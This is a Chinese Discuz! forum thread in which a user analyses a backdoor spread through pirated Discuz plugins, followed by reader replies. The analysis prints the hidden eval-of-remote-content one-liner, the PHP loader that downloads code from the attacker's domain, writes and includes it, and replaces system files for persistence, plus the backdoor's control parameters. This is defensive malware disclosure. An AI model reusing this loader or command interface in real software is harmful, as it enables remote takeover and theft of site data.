Discuz! 官方交流社區
標題: 您認為你的網站還很安全嗎?風靡全網的Discuz盜版插件后門木馬你了解過嗎? [打印本頁]
作者: lovetvb 時間: 2023-3-29 14:04
標題: 您認為你的網站還很安全嗎?風靡全網的Discuz盜版插件后門木馬你了解過嗎?
在曝光這個后門木馬之前,我們考慮了很久要不要曝光,這個后門我們去年就已經發現了,而且第一時間公布到群里面!在群里的用戶可能很早都知道這個后門!
但是始終沒有曝光在網站內!原因是從這個后門的復雜程度來看,此人不簡單!我們不想惹!并不是我們怕!明著來我們不怕什么!
明槍易躲,暗箭難防!唯女子與小人為難養也!
正文開始:
這個后門樣本是最早發現在飛*房產(后門和插件作者無關,正版的無此后門) 后來我們又在用戶給我們提供的插件里面根據關鍵詞 發現很多都帶這個后門,
那么下面我們開始分析:本次樣本為 克*APP 3.51(后門和插件作者無關,正版的無此后門),因為距離第一次發現太久,那個樣本沒有了!
首先我們是在一個模板文件發現了異常(如圖)
- eval(dfsockopen($commen))
復制代碼
很明顯的一句話后門。但是整個文件就這一行代碼!沒有一句話應有的參數!而 $commen 這個變量也并未在這個文件賦值, 全文件找了下發下在下面這個文件有 $commen 變量的賦值
function_comiis_load.php
但是這個值經過了一系列“混淆”,我們一步步來撥開這個煙霧彈
這里有個遠程請求!那么我們把這個 $url 變量調試出來,先把代碼搬過來
調試得到 $url 的值為:
- ://94203.vip/20190305.png
復制代碼
這里已經是個正常的鏈接了,我們獲取這個文件的內容試試(也可以通過瀏覽器的下載功能直接下載這個圖片,然后通過記事本打開)
- moqu8ctrlabcctrl://ctrl.ctrl/ctrl[A-Z_].*[A-Z_]ctrlecho "990";ctrl./config.phpctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xmlctrl`.*?`ctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xmlctrl./baiduin.phpctrltemplate/index.htmlctrlpic.png
復制代碼
繼續對這串不知道什么玩意的內容進行整理(直接搬后門的代碼過來取值就是)
得到內容
- http://94203.vip/baiduseofn.xmlCopy
復制代碼
繼續往下調試,發現緊跟的這幾段是讓代碼看起來像一個正常代碼,其實并無實際用途!都是一些賦值然后其實并不會調用,也許后面會用到先放這里不做分析
- list(,,, $tagid, $type,$page ) = func_get_args();
- $rewriterules=$_G['cache']['plugin']['comiis_app'];
- $identifier=substr($_GET['id'],0,strpos($_GET['id'], ':'))?substr($_GET['id'],0,strpos($_GET['id'], ':'));$_GET['id'];
- $plugin['identifier']=$plugin['identifier']?$plugin['identifier'];$identifier;
復制代碼
緊隨其后的是,翻譯出來看看是判斷什么 然后調用了什么文件!
因為 $tag 前面已經取了這個的值,我們直接調用,打印出內容看看
得到一個數組
- Array
- (
- [0] => moqu8
- [1] => abc
- [2] => ://
- [3] => .
- [4] => /
- [5] => [A-Z_].*[A-Z_]
- [6] => echo "990";
- [7] => ./config.php
- [8] => 6692
- [9] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xml
- [10] => `.*?`
- [11] => 6692
- [12] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xml
- [13] => ./baiduin.php
- [14] => template/index.html
- [15] => pic.png
- )
復制代碼
這樣就很容易翻譯那段代碼的意思得到結果為:
- if(@filesize('./config.php') != '6692'){ @include_once DISCUZ_ROOT.'./source/plugin/comiis_app/'.'template/index.html';}
復制代碼
這句話翻譯成大白話的意思就是 如果 ./config.php 文件的大小 不等于 6692 字節 則引用 template/index.html 這個文件 注意到了嗎? template/index.html 這個文件正式我們一開始發現端倪的文件
現在插件是第一次運行,./config.php文件是不存在的 所以大小肯定是不等于 6692 的,所以我們繼續調試!來到 template/index.html 這個文件
- eval(dfsockopen($commen))
復制代碼
這句代碼意思是 先讀取遠程鏈接返回的內容,然后執行! $commen 這個變量的值我們前面已經知道了 就是下面的內容 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內容)
- http://94203.vip/baiduseofn.xml
復制代碼
返回內容如下:
也就是說 即將執行的代碼就是這段代碼,復制下來 調試一波,順便美化一下,方便閱讀
- function content($svip)
- {
- ini_set('max_execution_time', '0');
- if (function_exists('file_get_contents')) {
- $data = file_get_contents($svip);
- } else {
- $ch = curl_init();
- $timeout = 5;
- curl_setopt($ch, CURLOPT_URL, $svip);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- $data = curl_exec($ch);
- curl_close($ch);
- }
- return $data;
- }
- $svip = preg_replace(array("/" . $tag[10] . "/", "/" . $tag[1] . "/i", "/" . $tag[5] . "/"), array($tag[3], $tag[2], $tag[4]), $tag[12]);
- if (content($svip)) {
- file_put_contents($tag[13], content($svip));
- require_once $tag[13];
- }
復制代碼
因為代碼中依然用到了 $tag 變量,所以我們繼續放之前的調試文件調試,我們先來 取 $svip 這個變量對應的值,得到一個鏈接
- http://94203.vip/baiduseoff.xml
復制代碼
之前我們已經打印了 $tag 的內容 可以得到 $tag[13] 的內容就是 ./baiduin.php
繼續放下調試 翻譯出來的大白話意思就是 如果遠程訪問 上面的 的鏈接 返回的內容不是空的 則寫入 返回的內容到文件 ../baiduin.php 并且馬上引用這個文件
既然又要引用新文件,那么我們就得看看這個文件的內容了 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內容) 其實這里和前面一個步驟很像,
你也可以理解成是一層殼!得到一個比較大的文件了(如圖),有種預感,馬上要正式進入后門的領域了,前面一系列操作其實都是煙霧彈
內容太長就不粘貼出來了 感興趣的可以下載下面的附件(代碼為了方便閱讀,美化過,其實你也可以訪問下面的鏈接得到這個文件樣本)
其實這個文件是進行了簡單加密的。我們給他解密!因為是比較簡單的加密,而且我們這次的重點不是講解加密與解密。下面直接上圖解密,就不講解了
得到解密后的文件
調試木馬
我們調試這個文件,因為我不是 在dz環境調試的,但是這個文件用到了dz自帶的幾個函數 我們copy過來在調試
調試前先把已知的數據講解下
如果文件./web.php 存在 就刪除這個文件,前面的代碼都是構造變量,在這句之前用不到
這里的 $identifier 是插件的 標識,代碼因為是在插件里面運行的,所以這個變量是dz賦值的$plugin['identifier'],比如我們現在的樣本是 comiis_app 那么這個值就是 'comiis_app' 繼續調試
這里開始引用了上面的幾個變量,我們把變量輸出看看分別是什么
得到這2個變量分別是
- ./config.php
- http://94203.vip/index.txt
復制代碼
其實從這里開始感覺分析這個后門已經花了很長時間了,有點累,寫的都比較隨意了!可能大家都開始看不懂了,還是保持開始的狀態繼續寫!分析起來其實很快,主要是要寫,就慢了。 得到這2個變量的值,我們翻譯下上面那段邏輯代碼
- 如果 (文件./config.php不存在 且 遠程請求http://94203.vip/index.txt的內容不是空) {
- 遠程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";
- 寫入文件(./config.php, 遠程訪問http://94203.vip/index.txt返回的內容);
- } 或者如果 (文件./config.php字節大小 不等于 6692 且 遠程請求http://94203.vip/index.txt的內容不是空) {
- 寫入文件(./config.php, 遠程訪問http://94203.vip/index.txt返回的內容);
- } 或者如果(文件"插件目錄/log.txt"不存在 且 插件不是csdn123_news和csdn123com_toutiao) {
- 遠程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";
- 寫入文件(插件目錄/log.txt, 空的內容);
- }
復制代碼
不知道這樣的代碼結構 對于不懂PHP的 能不能看懂,懂PHP的直接看源代碼就可以。繼續調試下面的代碼
首先輸出這個變量 $deindex
得到 這個變量的值為 ./index.bak.php,我們繼續用上面的方式翻譯上面的這段邏輯代碼
- 如果 (文件./index.bak.php存在) {
- 刪除文件./index.bak.php;
- }
- 如果 (文件/source/function/function_ajax.php大小 不等于 14798) {
- 如果(遠程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的不是空內容 ){
- 寫到文件/source/function/function_ajax.php 內容是 遠程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的內容
- }
- }
- 刪除文件./baiduin.php
復制代碼
到這里已經開始了 系統文件替換了,其實到這里基本上就結束了,看著是不是好像沒有什么大問題?只是替換了一個系統文件和寫了一個./config.php文件?
先別急著關閉頁面,因為下面才是重頭戲!我們繼續分析寫入的這2個文件 從 ./config.php 開始,這個文件寫入的是 http://94203.vip/index.txt 返回的內容 我們用瀏覽器打開 得到文件代碼如圖
去掉 用于混淆 讓人覺得是正常文件的內容 得到代碼
為什么那一段是沒用的?因為如果正常訪問 其實這就是dz自帶的 index.php文件復制過來的 后門控制者訪問時如果在鏈接后面加了 ?s=1 就會執行圖片上的代碼
翻譯出來的意思就是
- 執行代碼( 遠程請求 {域名}/baiduindex.xml 返回的內容 )
復制代碼
這里的域名 是通過GET參數獲取,也就是說 如果控制住域名忘記續費 根本沒有關系 比如 作者 通過這樣的形式訪問 你的域名/config.php?s=1&domain=94203.vip 就可以 那么/baiduindex.xml的內容是什么,因為是控制者在控制你網站時輸入的,所以從代碼上得不到這個文件!但是我們可以靠猜來試試,果然一猜就中,他用于木馬的域名就文中提到的1個。試了一下 就出來了
得到內容(加密了,那就解密看看這個是個什么文件吧)
經過N層解密,得到文件
這里已經有獲取你網站安裝的插件操作的代碼的了!這個后門文件還有很多參數!等下我們繼續分析! 解密后的樣本和原版 在下面的附件 有興趣的可以研究下
下面繼續分析,這個木馬文件的所有參數(其實也累了,就不調試了,直接丟dz環境跑起來,然后把代碼有的參數一個個輸進去試) 忽然發現 404,原來作者還加了 指定瀏覽器功能,也就是說只有這個UA的瀏覽器才能訪問,我們刪除這段
木馬參數
參數1、 你的域名/config.php?s=1&domain=94203.vip&b=header&z=壓縮包名字 打包你網站 ./source/plugin 目錄 即打包插件目錄,然后下載,代碼見下面
參數2、 你的域名/config.php?s=2&domain=94203.vip 開頭涉及到一個插件 aljjyno 不知道干嘛用的,但是只知道有寫入文件的功能!也是遠程請求,但是這次我們通過前面方法猜域名,沒有猜出來!
緊隨的是 替換/config/config_global.php 網站配置文件(給你開啟開發者模式,這樣你安裝插件就不會自動刪除安裝包!不然作者每次打包走的都是沒有xml的插件估計也很難受) 接著就是鞏固一下后門
上面的代碼前面講過 就是判斷 ./config.php的大小是不是 6692 如果不是就重新生成,防止木馬被你清理或修改 然后 又鞏固了一下 /source/function/function_ajax.php 的地位 這個文件前面提到了,但是還沒有分析!等分析玩這個文件,我們繼續分析這個 在往下 就是 獲取你安裝了的插件,然后列出列表吧?如果弄了打包的參數 就開始打包下載
參數3、 你的域名/config.php?s=3&domain=94203.vip后面還要參數 不是很重要 這個就是 下載壓縮包用的,沒什么可以講解
參數4、 你的域名/config.php?s=4&domain=94203.vip 上傳文件到你網站任意位置的好像。
參數5、 你的域名/config.php?s=5&domain=94203.vip&do=1 作用:寫入文件
如果帶do參數 則寫入94203.vip/data.xml 的內容 瀏覽器訪問這個鏈接 得到的內容 是一個典型的PHP木馬。打包網站用的,導出數據庫啥的 如果沒有帶do參數 則寫入94203.vip/datatwo.xml 的內容 瀏覽器訪問這個鏈接 得到的內容 是一個文件在線管理功能。 2個樣本在下面壓縮包,感興趣的可以下載看看
參數6、 你的域名/config.php?s=6&domain=94203.vip 作用:執行遠程文件 94203.vip/ondata.xml
其實和 參數5的帶do參數功能一樣,可能是防止你服務器不能寫入文件時 直接用php執行用的。應該算是備用功能,感興趣的可以下載下面的附件研究
參數7、 你的域名/config.php?s=7&domain=94203.vip 作用:下載你網站非壓縮包文件(如直接下載PHP文件)
參數8、 你的域名/config.php?s=8&domain=94203.vip 作用:執行遠程代碼 94203.vip/tiquxml.xml
遠程鏈接返回內容如下
- @set_time_limit(0);
- @include_once './config/config_global.php';
復制代碼
從注釋看好像是提取XML的 到這里 這個文件的功能基本上分析完畢。你以為就這樣?
結尾
以上涉及到的代碼全部是遠程執行,
代碼后門作者可以隨時更改/更新/升級、等于是給你網站的后門免費提供了免費更新的功能 如果他給你來個全盤格式化的遠程代碼,你懵逼嗎?
如果他給你來個清空數據庫的代碼 你懵逼嗎?
分析到這里,我們回到前面提到的 /source/function/function_ajax.php文件 打開遠程獲取到的代碼 分析一波,已經不記得前面有沒有把這個文件的代碼貼出來了!
如果沒有,感興趣的同學就自己獲取一下! 因為這個文件是基于dz的系統文件修改的(注入),我們對比文件刪除dz原版代碼 得到如下代碼
也就是說上面的代碼是后門作者加進去的 其實這個文件也沒啥好分析的,
大概就是:這個文件因為dz需要經常調用,調用頻率非常的高 只要這個文件一被調用 就自動從遠程獲取內容94203.vip/index.xml 生成到文件/config.php 這個文件的代碼前面分析過。
大概想實現的目的就是防刪!如果你刪了,又會出來。就是你怎么刪也刪不掉/config.php這個文件,我給他定義為 “不死鳥” 基本上整個后門到這里就算分析完畢了!
其實目前來講這套木馬想查殺的話 有一套關鍵詞可以進行匹配!
但是我們這次目的是分析木馬!查殺的任務,還是得靠站長自己。
我們只能說這種木馬在全網傳播的很普遍!
從各個資源站到某寶等 都有這個木馬的影子!
作者: lovetvb 時間: 2023-3-29 14:05
提示: 該帖被管理員或版主屏蔽
作者: Discuz有償服務 時間: 2023-3-29 14:25
某趣吧盜版插件含后門,這是眾所周知的,你回帖貼的鏈接的網站也不是好鳥,一樣的,會盜取你網站的應用
作者: tuhemm 時間: 2023-3-29 23:31
提示: 作者被禁止或刪除 內容自動屏蔽
作者: pcyi 時間: 2023-3-31 08:22
雖然不懂但我大為震撼
作者: TaC 時間: 2023-3-31 10:30
雖沒看懂,感覺好歷害。現在已沒有幾個人能有這種耐心寫這么東西了
作者: gulaibai 時間: 2023-4-1 12:16
我曾經遇到過,他還加我Q,要錢錢,我拉黑后,直接就把我的數據盤格了
作者: false001 時間: 2023-4-1 17:11
樓主功力深厚,佩服佩服
作者: false001 時間: 2023-4-1 17:12
把那個人的QQ暴出來,讓大家都防著他點。
作者: xiaohuahua123 時間: 2023-4-1 17:41
雖沒看懂,感覺好震撼,那有沒有大佬寫個插件出來讓大伙查殺下,或許有些站長的站存在這個木馬后門也說不定。
作者: lei119 時間: 2024-7-2 11:31
這個還是要支持一下
作者: Horse 時間: 2024-7-2 12:27
測試測試
作者: yf3052 時間: 2024-7-2 13:46
從官方應用中心安裝的插件有這個風險沒?
作者: myboss 時間: 2024-7-9 09:59
哈哈,這么長篇大論的帖子難得。
學習了!
一句話,隱藏的真深,要是不用關鍵字eva估計更難發現它。
干站長,一定要會清除后門,其實也簡單去掉關鍵語句。
作者: myboss 時間: 2024-7-9 10:00
yf3052 發表于 2024-7-2 13:46
從官方應用中心安裝的插件有這個風險沒?
開發者有交保證金嘛?
作者: 你若安好那還得了 時間: 2024-7-28 23:35
看看是什么東西
歡迎光臨 Discuz! 官方交流社區 (http://www.9999xn.com/) |
Powered by Discuz! W1.0 |